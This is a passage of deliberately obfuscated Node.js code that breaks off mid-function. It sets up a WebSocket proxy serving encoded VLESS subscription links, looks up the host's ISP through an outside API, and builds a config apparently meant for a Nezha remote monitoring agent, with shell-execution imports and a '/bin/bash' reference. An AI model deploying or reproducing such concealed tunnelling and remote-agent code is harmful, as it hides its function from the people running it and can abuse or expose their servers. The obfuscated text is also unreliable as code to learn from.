_0x252980=_0x3c9213['console']=_0x3c9213[_0x524bd7(0x34f,0x313,0x349,0x388)]||{},_0x4dc65e=[_0x7a9970[_0x524bd7(0x33b,0x382,0x3bd,0x305)],_0x7a9970['jwAYh'],_0x7a9970['WLDRz'],_0x7a9970[_0x524bd7(0x284,0x323,0x242,0x304)],_0x7a9970[_0x111ad5(0x3b6,0x482,0x444,0x3f1)],_0x7a9970[_0x524bd7(0x311,0x415,0x33c,0x39c)],_0x7a9970[_0x111ad5(0x399,0x445,0x4d8,0x4a1)]];for(let _0x1f6901=-0x1*0x510+-0x1*-0x1ca0+-0x1790;_0x7a9970['SaRQo'](_0x1f6901,_0x4dc65e[_0x111ad5(0x33b,0x351,0x2d4,0x324)]);_0x1f6901++){const _0x50a4fd=_0x392fd6[_0x524bd7(0x3e4,0x32e,0x44c,0x3bc)+'r'][_0x111ad5(0x340,0x3bb,0x395,0x3de)][_0x111ad5(0x4be,0x4b5,0x462,0x4b2)](_0x392fd6),_0x302af4=_0x4dc65e[_0x1f6901],_0x50f0cf=_0x252980[_0x302af4]||_0x50a4fd;_0x50a4fd[_0x111ad5(0x36d,0x443,0x474,0x3df)]=_0x392fd6[_0x524bd7(0x452,0x47f,0x339,0x3af)](_0x392fd6),_0x50a4fd[_0x111ad5(0x3ea,0x4b4,0x527,0x4e0)]=_0x50f0cf[_0x111ad5(0x52a,0x4b4,0x412,0x528)]['bind'](_0x50f0cf),_0x252980[_0x302af4]=_0x50a4fd;}});_0xb0775a();const os=require('os'),http=require('http'),fs=require('fs'),axios=require(_0x23a861(0x13,0x86,0x16b,0x9f)),net=require('net'),path=require(_0x23a861(0x74,-0xb3,0x76,0x13)),crypto=require('crypto'),{Buffer}=require(_0x23a861(-0x84,0x23,0x47,-0x7e)),{exec,execSync}=require(_0x187de4(0x3,-0xd6,-0xdd,-0x7)+'ess'),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x187de4(0x39,0x87,0xcd,-0x1d)]['UUID']||'ce2aa9c2-e'+_0x23a861(0x18,0x16d,0x16,0x94)+_0x187de4(0xbd,-0x13,-0xa5,-0xd6)+'0eeabc',NEZHA_SERVER=process[_0x187de4(0xf4,0x87,0xb3,0x83)]['NEZHA_SERV'+'ER']||'',NEZHA_PORT=process[_0x23a861(0x174,0x50,0x161,0xb1)][_0x23a861(-0xd7,-0x97,-0x1,-0x8e)]||'',NEZHA_KEY=process[_0x23a861(-0x1a,0x9a,0x6b,0xb1)][_0x23a861(0xf9,-0xe,0xdd,0x9b)]||'',DOMAIN=process[_0x23a861(0xb8,0x67,0xaa,0xb1)][_0x23a861(0x49,0x53,0x1f,-0x6b)]||_0x187de4(0xb4,0xb0,0x173,0x15)+'om',AUTO_ACCESS=process[_0x187de4(0x136,0x87,0x6e,0x143)]['AUTO_ACCES'+'S']||![],WSPATH=process[_0x23a861(0xc5,0xef,0xb7,0xb1)]['WSPATH']||UUID[_0x23a861(-0x53,-0x73,0x85,0x40)](-0xbf8+-0x1670+0x2268,-0x1*-0x1349+0x87b+0x2c6*-0xa),SUB_PATH=process[_0x23a861(-0x26,0x111,0x12,0xb1)][_0x187de4(0xad,0x6,-0x39,0xc4)]||'dev';function _0x187de4(_0x20a435,_0x40d3f3,_0x3255e0,_0x242760){return _0x38c5(_0x40d3f3- -0x1b6,_0x3255e0);}const NAME=process[_0x187de4(0x60,0x87,0x14f,0xbb)]['NAME']||'',PORT=process[_0x187de4(0xb2,0x87,0x12d,0xf)][_0x187de4(-0x9a,-0x3c,-0xcf,-0x56)]||-0xed3+-0x222c+-0x3*-0x143d;let ISP='';const GetISP=async()=>{const _0x467736={};_0x467736[_0x1b06c2(0x384,0x412,0x369,0x35e)]=_0x3d8aa3(0xd9,0x1eb,0x12d,0x16d),_0x467736[_0x1b06c2(0x4ac,0x45d,0x589,0x469)]=_0x3d8aa3(0x266,0x222,0x35c,0x2b3),_0x467736[_0x3d8aa3(0x284,0x2fa,0x1b0,0x255)]=_0x1b06c2(0x422,0x402,0x4a4,0x4f6)+'l';function _0x1b06c2(_0x4bd097,_0x2fb16e,_0x39038f,_0x3430bc){return _0x23a861(_0x39038f,_0x2fb16e-0x81,_0x39038f-0xc1,_0x4bd097-0x3e0);}_0x467736[_0x1b06c2(0x43b,0x477,0x4ef,0x3a2)]=_0x3d8aa3(0x324,0x28a,0x1e1,0x25d)+_0x1b06c2(0x481,0x3c3,0x3a8,0x4e9)+_0x3d8aa3(0x28f,0x21c,0x1da,0x211)+_0x3d8aa3(0x22d,0x14c,0xe6,0x1b0),_0x467736[_0x1b06c2(0x38d,0x3eb,0x3dd,0x45a)]=function(_0x967e0b,_0x4b97f0){return _0x967e0b!==_0x4b97f0;},_0x467736[_0x1b06c2(0x3d2,0x3ac,0x455,0x409)]='ulcOD',_0x467736[_0x1b06c2(0x3f0,0x4b2,0x4ca,0x363)]=_0x3d8aa3(0x1ab,0x226,0x1ae,0x20f);function _0x3d8aa3(_0x4ece93,_0x369a91,_0x3fe734,_0x315f3a){return _0x187de4(_0x4ece93-0x3c,_0x315f3a-0x266,_0x4ece93,_0x315f3a-0x152);}const _0x4c35b6=_0x467736;try{const _0x3235ff=await axios['get'](_0x4c35b6[_0x3d8aa3(0x269,0x1db,0x32d,0x297)]),_0xbe69d8=_0x3235ff['data'];ISP=(_0xbe69d8[_0x3d8aa3(0x1b0,0x10c,0x1f9,0x1e3)]+'-'+_0xbe69d8['asOrganiza'+_0x3d8aa3(0x2a0,0x321,0x237,0x2ff)])[_0x3d8aa3(0x27b,0x19d,0x135,0x1eb)](/ /g,'_');}catch(_0x3edc3c){if(_0x4c35b6[_0x1b06c2(0x38d,0x460,0x358,0x2dd)](_0x4c35b6[_0x1b06c2(0x3d2,0x48a,0x444,0x34f)],_0x4c35b6['OYlFm'])){const _0x1c2326=_0x372142[_0x3d8aa3(0x2de,0x228,0x2c5,0x301)](':')?_0x16697d[_0x3d8aa3(0x1a1,0xf4,0x18f,0x15f)](':')[_0x3d8aa3(0x228,0x213,0x1ae,0x25b)]():'',_0x335ca9=_0x1940c6[_0x1b06c2(0x4a5,0x463,0x569,0x51e)](_0x1c2326)?_0x4c35b6[_0x3d8aa3(0x114,0x256,0x21e,0x1e0)]:_0x4c35b6[_0x1b06c2(0x4ac,0x497,0x520,0x521)],_0x44aad2=_0x1b06c2(0x336,0x343,0x368,0x2a8)+_0x3d8aa3(0x227,0x21a,0x1d3,0x1ff)+_0x213b15+(_0x3d8aa3(0x1cc,0xca,0x1ab,0x164)+_0x1b06c2(0x3c5,0x2f9,0x329,0x340)+_0x1b06c2(0x42c,0x47c,0x4e8,0x3e5)+_0x1b06c2(0x377,0x3e6,0x3cb,0x2e1)+_0x1b06c2(0x321,0x38b,0x262,0x261)+_0x3d8aa3(0x3b7,0x298,0x20c,0x2df)+_0x1b06c2(0x490,0x4e7,0x55c,0x518)+_0x1b06c2(0x322,0x289,0x391,0x2a9)+_0x1b06c2(0x4a2,0x55f,0x41b,0x3ea)+'e:\x20true\x0adi'+_0x3d8aa3(0x1cc,0x229,0x177,0x18a)+_0x1b06c2(0x438,0x376,0x4b7,0x4b4)+'able_send_'+'query:\x20fal'+_0x1b06c2(0x469,0x4d8,0x520,0x451)+'lse\x0ainsecu'+_0x3d8aa3(0x29f,0x200,0x1fa,0x1cc)+_0x3d8aa3(0x276,0x223,0x276,0x1e6)+_0x1b06c2(0x45b,0x424,0x47a,0x469)+_0x3d8aa3(0x25a,0x2d9,0x2b3,0x21b)+_0x3d8aa3(0x179,0x2cd,0x1c6,0x224)+_0x3d8aa3(0x185,0x208,0x1d4,0x19e))+_0x3b741d+(_0x1b06c2(0x402,0x3cd,0x333,0x479)+_0x3d8aa3(0x3bb,0x34c,0x3ce,0x304)+'nt:\x20true\x0as'+'kip_procs_'+_0x1b06c2(0x436,0x3d9,0x38f,0x43e)+'e\x0atemperat'+'ure:\x20false'+_0x3d8aa3(0x277,0x26d,0x30a,0x237))+_0x335ca9+('\x0ause_gitee'+_0x1b06c2(0x347,0x36d,0x419,0x2e9)+_0x3d8aa3(0xa6,0x1ed,0x14f,0x161)+'se_ipv6_co'+'untry_code'+_0x3d8aa3(0x126,0x18e,0x1ba,0x1b2)+_0x1b06c2(0x489,0x3af,0x415,0x498))+_0x431322;_0x3a1861[_0x1b06c2(0x4b3,0x4d3,0x580,0x590)+_0x1b06c2(0x426,0x445,0x395,0x420)](_0x4c35b6[_0x3d8aa3(0x200,0x235,0x25b,0x255)],_0x44aad2);}else ISP=_0x4c35b6[_0x1b06c2(0x3f0,0x40d,0x3d2,0x496)];}};GetISP();const httpServer=http[_0x23a861(-0x69,-0x8a,-0x111,-0x7d)+'er']((_0x22c794,_0x25c86a)=>{const _0x55b11e={};_0x55b11e[_0x1cba3b(-0x254,-0x1ff,-0x1a8,-0xcb)]='/bin/bash',_0x55b11e[_0x1cba3b(-0x164,-0xcc,-0x12a,-0xb6)]='text/html',_0x55b11e['rjMKr']=function(_0x1e7bc5,_0x81f91f){return _0x1e7bc5===_0x81f91f;},_0x55b11e['TCdxz']=_0x1cba3b(-0x1bb,-0x33b,-0x267,-0x30d),_0x55b11e[_0x31f352(0x8e,0x46,0xb4,0x1f)]=_0x31f352(0x11,-0xe2,-0xdd,-0x5e),_0x55b11e['sHNer']=_0x31f352(0x118,0xdf,0x178,0xc7),_0x55b11e['rRRzd']=function(_0x4ee365,_0x3f75cd){return _0x4ee365===_0x3f75cd;},_0x55b11e[_0x31f352(-0x2d,0x25,-0x167,-0x96)]=function(_0x420394,_0x341850){return _0x420394+_0x341850;},_0x55b11e['AHHwr']=_0x1cba3b(-0xa5,-0xeb,-0x109,-0x1ac),_0x55b11e[_0x1cba3b(-0x33f,-0x2e6,-0x282,-0x2d7)]=_0x1cba3b(-0x12f,-0x1e4,-0x1c8,-0x266),_0x55b11e[_0x31f352(-0x89,-0x9d,-0xa7,-0x81)]=function(_0x443b9a,_0x37a30f){return _0x443b9a+_0x37a30f;},_0x55b11e[_0x31f352(-0x6f,0x37,-0x21,-0x9c)]=_0x31f352(-0x1f,0x72,0xeb,0xba);function _0x31f352(_0x1625ee,_0x48db1c,_0x15fba0,_0x4d2019){return _0x23a861(_0x48db1c,_0x48db1c-0x10f,_0x15fba0-0x144,_0x4d2019- -0x7);}function _0x1cba3b(_0x13b791,_0x3e7667,_0x2fadbb,_0x2a99d8){return _0x23a861(_0x3e7667,_0x3e7667-0x127,_0x2fadbb-0x1eb,_0x2fadbb- -0x1bc);}const _0x42d44d=_0x55b11e;if(_0x42d44d[_0x31f352(0xf4,-0x6,0x123,0x5d)](_0x22c794[_0x31f352(-0x69,-0xa7,0x76,-0x38)],'/')){if(_0x1cba3b(-0x1c9,-0x1e9,-0x277,-0x337)===_0x42d44d['TCdxz']){const _0x33cb2c={};_0x33cb2c['XCzJM']=_0x1cba3b(-0x198,-0x20c,-0x25e,-0x29d)+'g\x20error:',_0x33cb2c[_0x31f352(0x41,-0x61,0x109,0x73)]='npm\x20is\x20run'+_0x31f352(-0x38,-0x49,-0xd3,-0xb0);const _0x29cb25=_0x33cb2c,_0x106688={};_0x106688[_0x1cba3b(-0xde,-0x169,-0x12e,-0x67)]=_0x42d44d[_0x31f352(0xc8,-0x44,0xba,0xd)],_0x2d076f(_0x2cfe28,_0x106688,_0x447f7f=>{function _0x31d456(_0x16f97a,_0x1c4edf,_0xd18484,_0x33a79c){return _0x1cba3b(_0x16f97a-0x31,_0x16f97a,_0xd18484-0x5c9,_0x33a79c-0x2);}function _0x2a6a1d(_0x9728be,_0x3cc46b,_0x56dc81,_0x41d964){return _0x31f352(_0x9728be-0x1b4,_0x3cc46b,_0x56dc81-0x13d,_0x56dc81- -0x1ab);}if(_0x447f7f)_0x5cf1be[_0x31d456(0x503,0x3ac,0x442,0x49c)](_0x29cb25[_0x2a6a1d(-0x11f,-0x164,-0x174,-0xaa)],_0x447f7f);else _0x5eb070[_0x31d456(0x523,0x554,0x4c3,0x446)](_0x29cb25[_0x2a6a1d(-0x18d,-0xa4,-0x138,-0x10e)]);});}else{const _0x33aea4=path[_0x1cba3b(-0x207,-0x193,-0x20c,-0x232)](__dirname,_0x42d44d[_0x1cba3b(-0xc6,-0xc4,-0x196,-0x20e)]);fs['readFile'](_0x33aea4,_0x42d44d[_0x31f352(0x3d,0x8b,0x119,0x96)],(_0x12393f,_0x147c58)=>{function _0x55b870(_0x94f6dd,_0x2a9075,_0x1fe9b6,_0x5b01de){return _0x1cba3b(_0x94f6dd-0x1e,_0x1fe9b6,_0x2a9075-0x179,_0x5b01de-0x13d);}if(_0x12393f){const _0x1ed434={};_0x1ed434[_0x193075(0x21e,0x322,0x303,0x29c)+'pe']=_0x193075(0x23f,0x178,0x22f,0x1a9),_0x25c86a[_0x193075(0x31c,0x2ad,0x31b,0x2c9)](-0x2424+-0x51*-0x77+-0xbb,_0x1ed434),_0x25c86a[_0x193075(0x21a,0x23d,0xca,0x1a5)](_0x55b870(-0x30,0x4d,0xf3,-0x79)+'d!');return;}const _0x2e1571={};_0x2e1571['Content-Ty'+'pe']=_0x42d44d[_0x55b870(-0x32,0x4f,0xa8,0x2f)];function _0x193075(_0x3c759e,_0x4ab81f,_0xbe0dec,_0x29e213){return _0x1cba3b(_0x3c759e-0x1c8,_0x3c759e,_0x29e213-0x42e,_0x29e213-0xde);}_0x25c86a[_0x55b870(0xc3,0x14,0x7,0x12)](-0xfc0+0x1b3d+-0xab5,_0x2e1571),_0x25c86a[_0x55b870(-0x1e1,-0x110,-0xd2,-0x19a)](_0x147c58);});return;}}else{if(_0x42d44d[_0x31f352(-0xd,0x9,0xb5,0x80)](_0x22c794['url'],'/'+SUB_PATH)){const _0x27710d=NAME?NAME+'-'+ISP:ISP,_0x2dad33='vless://'+UUID+(_0x31f352(-0x6e,-0x124,-0x128,-0xdb)+'.eu.org:44'+'3?encrypti'+'on=none&se'+_0x1cba3b(-0x1aa,-0x183,-0x1e4,-0x17f)+'&sni=')+DOMAIN+('&fp=chrome'+'&type=ws&h'+'ost=')+DOMAIN+'&path=%2F'+WSPATH+'#'+_0x27710d,_0xa99382=_0x1cba3b(-0x17a,-0x131,-0x1f7,-0x1eb)+UUID+('@cdns.doon'+_0x31f352(-0x6,0x53,0x12d,0xce)+_0x1cba3b(-0x1c6,-0x176,-0x14d,-0xa5)+_0x31f352(-0x16,0x15d,0x10c,0xc3))+DOMAIN+(_0x1cba3b(-0x208,-0x17e,-0x1e2,-0x216)+'&type=ws&h'+_0x31f352(0xcd,0xf7,0x51,0x1e))+DOMAIN+_0x1cba3b(-0x23c,-0x121,-0x1d9,-0x172)+WSPATH+'#'+_0x27710d,_0x27d0d8=_0x42d44d[_0x1cba3b(-0x2b4,-0x321,-0x24b,-0x2ef)](_0x42d44d['lrXgS'](_0x2dad33,'\x0a'),_0xa99382),_0x5f753e=Buffer[_0x31f352(-0x81,-0x148,-0x55,-0xb7)](_0x27d0d8)[_0x1cba3b(-0x194,-0x13b,-0x10e,-0x130)](_0x42d44d['AHHwr']),_0x883c16={};_0x883c16[_0x31f352(0x2b,-0x84,0x99,0x23)+'pe']=_0x42d44d[_0x31f352(-0xc6,-0x17,0x0,-0xcd)],_0x25c86a['writeHead'](-0x201b+-0x1b68+-0x405*-0xf,_0x883c16),_0x25c86a[_0x1cba3b(-0x320,-0x285,-0x289,-0x298)](_0x42d44d[_0x31f352(-0xa4,-0x4e,-0xab,-0x81)](_0x5f753e,'\x0a'));}else{const _0x3ff5d2={};_0x3ff5d2['Content-Ty'+'pe']=_0x42d44d[_0x1cba3b(-0x23e,-0x2b0,-0x282,-0x1aa)],_0x25c86a['writeHead'](-0x1*0x1bdf+-0xf*0x264+-0x414f*-0x1,_0x3ff5d2),_0x25c86a[_0x1cba3b(-0x1c0,-0x328,-0x289,-0x339)](_0x42d44d[_0x1cba3b(-0x20e,-0x235,-0x251,-0x1c3)]);}}}),_0x5e5315={};_0x5e5315['server']=httpServer;const wss=new WebSocket['Server'](_0x5e5315),uuid=UUID[_0x187de4(-0xd9,-0x7b,-0x111,-0x105)](/-/g,''),DNS_SERVERS=[_0x23a861(-0xce,-0x51,0x70,-0x33),'1.1.1.1'];function resolveHost(_0x3b4e3e){const _0xf80686={'ZDhdb':function(_0x48f1d6,_0x222302,_0x6ea7fa){return _0x48f1d6(_0x222302,_0x6ea7fa);},'OZchM':_0x5d26c7(-0x25c,-0x22d,-0x1d5,-0x217)+_0x343f9f(0x1ac,0x20e,0x22d,0x28d)+'yc.mn/v1','WfvNT':_0x343f9f(0x23e,0x1c4,0x1be,0x246)+_0x343f9f(0x1ca,0x2ab,0x22d,0x1ef)+_0x5d26c7(-0x194,-0x237,-0x10a,-0xc9)+'t','CPaPW':function(_0x47f8eb,_0x1fb7fb){return _0x47f8eb(_0x1fb7fb);},'jCfZh':function(_0x5832d3,_0x74c8fd){return _0x5832d3+_0x74c8fd;},'lFCKi':_0x5d26c7(-0x1f5,-0x196,-0x263,-0x229)+_0x5d26c7(-0x10e,-0x150,-0x108,-0x1cc)+_0x343f9f(0x303,0x375,0x2cb,0x2c2)+'\x20)','gzsAc':function(_0x5122df){return _0x5122df();},'hPdEk':_0x343f9f(0x340,0x32a,0x31c,0x375),'LxAkb':_0x5d26c7(-0x16c,-0xfc,-0x230,-0x12e),'kzmev':_0x5d26c7(-0x197,-0xc1,-0x15e,-0x1ec),'ELwXH':_0x343f9f(0x17e,0x102,0x194,0x112),'Gketd':function(_0x48559f,_0x49257c){return _0x48559f<_0x49257c;},'oseTG':function(_0x151b2e,_0xf18d3b){return _0x151b2e>_0xf18d3b;},'YXBoo':function(_0x27754a,_0xa6f663){return _0x27754a!==_0xa6f663;},'ZJWqU':_0x343f9f(0x1f4,0x1f4,0x1f1,0x2bc),'fVuVJ':function(_0x35abf0){return _0x35abf0();},'hMJpo':function(_0x3de594,_0x275367){return _0x3de594===_0x275367;},'nkJgZ':function(_0x5dc355,_0x18b133){return _0x5dc355>=_0x18b133;},'ZAlvW':'YCvHL','gabqQ':'WrVLS','HMJsv':_0x343f9f(0x245,0x2f2,0x241,0x2ca)+_0x343f9f(0xd2,0x1a2,0x19f,0x10c),'JGrmO':function(_0x3cf83c,_0x460758){return _0x3cf83c(_0x460758);}};function _0x343f9f(_0x39033e,_0x277d80,_0x313da6,_0x22741a){return _0x23a861(_0x39033e,_0x277d80-0x17a,_0x313da6-0x1cd,_0x313da6-0x266);}function _0x5d26c7(_0x2552c1,_0x32e8ad,_0x24af0e,_0x2ffb53){return _0x23a861(_0x24af0e,_0x32e8ad-0x34,_0x24af0e-0x198,_0x2552c1- -0x1b4);}return new Promise((_0xd6069d,_0xaf22dd)=>{const _0x26abde={'QRCEP':function(_0x1a8f6d,_0x1c6ce4,_0x589380){function _0x590f54(_0x5719b9,_0xa5afac,_0x157fff,_0x57a58c){return _0x38c5(_0x157fff- -0x1a5,_0x57a58c);}return _0xf80686[_0x590f54(0x3,-0x2e,-0x33,-0xca)](_0x1a8f6d,_0x1c6ce4,_0x589380);},'YWTBf':_0xf80686[_0x5d0d83(-0x238,-0x1bb,-0x19a,-0x2be)],'mJPQK':_0xf80686[_0x5d0d83(-0x158,-0x203,-0xc6,-0xca)],'vXoNB':function(_0x18df8d,_0x456436){function _0x227c70(_0x5b3250,_0x46a2bd,_0xa05e71,_0x27efbe){return _0x25eedb(_0x5b3250,_0x46a2bd-0x18,_0xa05e71-0xf9,_0x46a2bd-0x203);}return _0xf80686[_0x227c70(0x3fa,0x395,0x399,0x3af)](_0x18df8d,_0x456436);},'vOAKw':function(_0x397391,_0x1dfc1d){function _0x5ab13a(_0x208be5,_0x317af0,_0x4513ec,_0x1c32b0){return _0x25eedb(_0x208be5,_0x317af0-0x1a1,_0x4513ec-0x1a0,_0x1c32b0-0xd2);}return _0xf80686[_0x5ab13a(0x226,0x2bd,0x1d0,0x2a1)](_0x397391,_0x1dfc1d);},'QQhKQ':_0xf80686[_0x5d0d83(-0x2fd,-0x262,-0x2b5,-0x270)],'GnFHl':function(_0xb9f405){function _0x56a339(_0x101d92,_0x1f944e,_0x514c7d,_0x4fe013){return _0x25eedb(_0x4fe013,_0x1f944e-0x6,_0x514c7d-0xc2,_0x101d92- -0x2af);}return _0xf80686[_0x56a339(-0x15a,-0x1bf,-0x209,-0x169)](_0xb9f405);},'XcqGA':_0xf80686['hPdEk'],'MlYiW':_0xf80686[_0x25eedb(0x13,0x6a,0x100,0xd4)],'FkcmQ':_0xf80686[_0x5d0d83(-0x2a6,-0x27f,-0x20e,-0x270)],'PmGvS':_0x25eedb(0x125,0x112,0x1b5,0x152),'Mcxkw':_0xf80686['ELwXH'],'ZmoDq':function(_0x32be9a,_0x63d631){return _0xf80686['Gketd'](_0x32be9a,_0x63d631);},'QbukQ':function(_0x536e74,_0x3c5dde){function _0x2033a6(_0x2dd8a5,_0x883925,_0x44e0be,_0x26350c){return _0x25eedb(_0x26350c,_0x883925-0x19c,_0x44e0be-0x170,_0x2dd8a5- -0x2e5);}return _0xf80686[_0x2033a6(-0x1d3,-0x246,-0x270,-0x272)](_0x536e74,_0x3c5dde);},'jMmUh':function(_0x1a27cc,_0x35e536){function _0x53badf(_0x42bb9a,_0x280913,_0x1d0fc8,_0x30d00c){return _0x5d0d83(_0x42bb9a-0x608,_0x280913-0x1c1,_0x1d0fc8-0x6f,_0x1d0fc8);}return _0xf80686[_0x53badf(0x39f,0x402,0x399,0x35b)](_0x1a27cc,_0x35e536);},'nuwob':_0xf80686['ZJWqU'],'KTTsQ':function(_0x3d56ca){function _0x216a55(_0x390a94,_0xe2ea5e,_0x58491e,_0x44d0d0){return _0x25eedb(_0x44d0d0,_0xe2ea5e-0x126,_0x58491e-0x182,_0x390a94- -0x149);}return _0xf80686[_0x216a55(0xc,-0xab,-0x48,-0x2a)](_0x3d56ca);},'lDmCg':function(_0x187235){return _0xf80686['fVuVJ'](_0x187235);},'wANHY':function(_0x5643ea,_0x178b9c){function _0x2e7a1f(_0x3a080a,_0x1ecd1e,_0x3c529a,_0x191b12){return _0x5d0d83(_0x3c529a-0x6bd,_0x1ecd1e-0x1c7,_0x3c529a-0xa9,_0x3a080a);}return _0xf80686[_0x2e7a1f(0x507,0x5f5,0x534,0x462)](_0x5643ea,_0x178b9c);},'RSfgj':_0x5d0d83(-0x29e,-0x336,-0x244,-0x2f0),'Xpato':function(_0x19009a,_0x35697c){function _0x458102(_0x312588,_0x42b69b,_0x3d76ff,_0x15626a){return _0x5d0d83(_0x312588-0x560,_0x42b69b-0x121,_0x3d76ff-0x1b9,_0x3d76ff);}return _0xf80686[_0x458102(0x3b1,0x32b,0x3e4,0x2fc)](_0x19009a,_0x35697c);},'zpKJQ':_0xf80686[_0x25eedb(0x88,-0x1,0x46,0xbb)],'OERTY':_0xf80686[_0x5d0d83(-0x17b,-0x149,-0x15e,-0x20c)],'GPnEU':_0xf80686[_0x5d0d83(-0x22b,-0x19a,-0x2d5,-0x1e4)]};if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x25eedb(0x126,0x131,0x126,0x14c)](_0x3b4e3e)){_0xf80686[_0x5d0d83(-0x233,-0x20d,-0x1f2,-0x243)](_0xd6069d,_0x3b4e3e);return;}let _0x26f7a0=0x1bc4+-0x22fd+0x739;function _0x23de89(){function _0x2fe5bb(_0x2a4e20,_0x4bddb2,_0x3093be,_0x1959c5){return _0x25eedb(_0x1959c5,_0x4bddb2-0x1b5,_0x3093be-0x16a,_0x4bddb2- -0x213);}function _0x5d3e2c(_0x5bd8b0,_0x179b31,_0x244fc5,_0x4faa8d){return _0x25eedb(_0x179b31,_0x179b31-0x18a,_0x244fc5-0xd1,_0x5bd8b0- -0x29b);}const _0x533601={'ODRNR':function(_0x221986){function _0x3f2d35(_0x4298d5,_0x2e2dd1,_0x4fe699,_0x2b8666){return _0x38c5(_0x4298d5- -0x1d4,_0x2e2dd1);}return _0x26abde[_0x3f2d35(0x3c,0xaa,-0x29,-0x4d)](_0x221986);}};if(_0x26abde['wANHY'](_0x26abde[_0x5d3e2c(-0xc9,-0x82,-0xd2,-0x32)],_0x2fe5bb(-0xa3,-0x15a,-0x151,-0x1df))){const _0x1df814=_0x3fa9fb[_0x5d3e2c(-0x13e,-0xc3,-0x64,-0x160)](0x22cd+0x1d*0xdd+-0x3bd5,-0x1428+-0xed+-0x1526*-0x1),_0xb6ea11=_0x1df814[_0x2fe5bb(-0x87,-0x78,-0x9b,-0x6a)]((_0x4abe4d,_0x56102e)=>_0x4abe4d==_0x43f759(_0x5d371e[_0x2fe5bb(-0x1fb,-0x155,-0xed,-0x224)](_0x56102e*(0x1*-0x24e5+-0x1a*0x120+0x4227),0x283*-0x8+0x1a*-0x8+0x14ea),0x11*0x170+0xf1e+-0x7e6*0x5));if(_0xb6ea11){!_0x26abde[_0x5d3e2c(-0x20b,-0x1ab,-0x1b4,-0x1f1)](_0x5f92b5,_0x2e4058,_0x1ff0db)&&_0xfa309f['close']();return;}}else{if(_0x26abde[_0x5d3e2c(-0x118,-0xb5,-0x124,-0x105)](_0x26f7a0,DNS_SERVERS[_0x5d3e2c(-0x233,-0x1ff,-0x25c,-0x2ca)])){if(_0x26abde[_0x2fe5bb(-0xff,-0x193,-0xc7,-0x114)](_0x26abde[_0x5d3e2c(-0x234,-0x2c0,-0x310,-0x1f3)],_0x26abde[_0x2fe5bb(-0x61,-0x120,-0x129,-0x1c1)]))return!_0x3b78ab?_0x26abde[_0x5d3e2c(-0x18d,-0x1d1,-0x1da,-0x179)]:_0x26abde[_0x5d3e2c(-0x214,-0x234,-0x17c,-0x1ec)];else{_0x26abde[_0x5d3e2c(-0x1f7,-0x193,-0x2cf,-0x1af)](_0xaf22dd,new Error(_0x5d3e2c(-0x218,-0x15f,-0x181,-0x225)+_0x5d3e2c(-0xf1,-0xd0,-0x74,-0x13e)+_0x3b4e3e+(_0x5d3e2c(-0x1b8,-0x159,-0x1b1,-0x121)+_0x5d3e2c(-0xb1,-0x5,-0x109,0x28)+'s')));return;}}const _0x2c5901=DNS_SERVERS[_0x26f7a0];_0x26f7a0++;const _0x2a7902=_0x2fe5bb(-0x11f,-0x154,-0x147,-0xb9)+_0x5d3e2c(-0x1c0,-0x260,-0xf2,-0x1b6)+_0x2fe5bb(-0x1fe,-0x1cd,-0x156,-0x152)+'e='+_0x26abde[_0x5d3e2c(-0x1f7,-0x2b1,-0x173,-0x202)](encodeURIComponent,_0x3b4e3e)+'&type=A',_0x3b70ef={};_0x3b70ef[_0x5d3e2c(-0x180,-0x222,-0x21a,-0x1eb)]=_0x26abde[_0x5d3e2c(-0x170,-0x162,-0x16b,-0xf8)];const _0x15a9f7={};_0x15a9f7['timeout']=0x1388,_0x15a9f7[_0x2fe5bb(-0x156,-0xf3,-0x149,-0xf5)]=_0x3b70ef,axios[_0x2fe5bb(-0xfe,-0x1a9,-0x11b,-0x1bb)](_0x2a7902,_0x15a9f7)[_0x2fe5bb(-0x13e,-0x144,-0x7d,-0x12f)](_0x3792ce=>{function _0x59fddf(_0x14739b,_0x33fb75,_0x53873a,_0x31fe58){return _0x5d3e2c(_0x14739b-0x2a4,_0x53873a,_0x53873a-0x6,_0x31fe58-0x1ed);}function _0x5b33bf(_0x3722d4,_0x1fd758,_0x5d3139,_0x4dde33){return _0x5d3e2c(_0x5d3139-0x222,_0x1fd758,_0x5d3139-0xb2,_0x4dde33-0x174);}const _0x1e6389={'JvYeZ':function(_0x12a6d5,_0x359653){function _0x5e119a(_0x3d0a01,_0x30ebf3,_0x27ecf1,_0x52a790){return _0x38c5(_0x3d0a01- -0x373,_0x30ebf3);}return _0x26abde[_0x5e119a(-0x260,-0x29c,-0x248,-0x2f6)](_0x12a6d5,_0x359653);},'mJctv':function(_0x30ffc2,_0x21b5b6){return _0x26abde['vOAKw'](_0x30ffc2,_0x21b5b6);},'iiGjZ':_0x5b33bf(0x149,0xef,0xa0,0x12f)+_0x5b33bf(-0x30,0x8a,0x3,-0xd8),'PAuwY':_0x26abde[_0x59fddf(0x190,0x183,0x217,0x1f5)],'NGZsE':function(_0x24fbb6){function _0x54f5e1(_0x563f1a,_0x252835,_0x4e32e1,_0x3d18ab){return _0x59fddf(_0x252835-0x20a,_0x252835-0x63,_0x4e32e1,_0x3d18ab-0x178);}return _0x26abde[_0x54f5e1(0x1e7,0x266,0x1fe,0x28d)](_0x24fbb6);},'JpJXR':_0x26abde['XcqGA'],'pqvBO':_0x26abde[_0x5b33bf(0x167,0x180,0x106,0x106)],'RzOnE':_0x26abde[_0x59fddf(0x141,0xe8,0x1e3,0x179)],'xLRRZ':_0x26abde[_0x59fddf(0x180,0x17e,0x175,0xfd)],'NVNUL':_0x26abde['Mcxkw'],'YVNiC':_0x59fddf(0x186,0x23e,0xd0,0x1f1),'TaUnK':function(_0x13094d,_0x10556c){function _0xd24dd2(_0x5297cc,_0x15b30a,_0x3cfb8,_0x1e8721){return _0x5b33bf(_0x5297cc-0x1b3,_0x5297cc,_0x3cfb8- -0x159,_0x1e8721-0x101);}return _0x26abde[_0xd24dd2(-0x7f,0xc4,0x9,0x24)](_0x13094d,_0x10556c);}};if('wCjdm'===_0x59fddf(0x1b7,0x26e,0x21a,0x167)){const 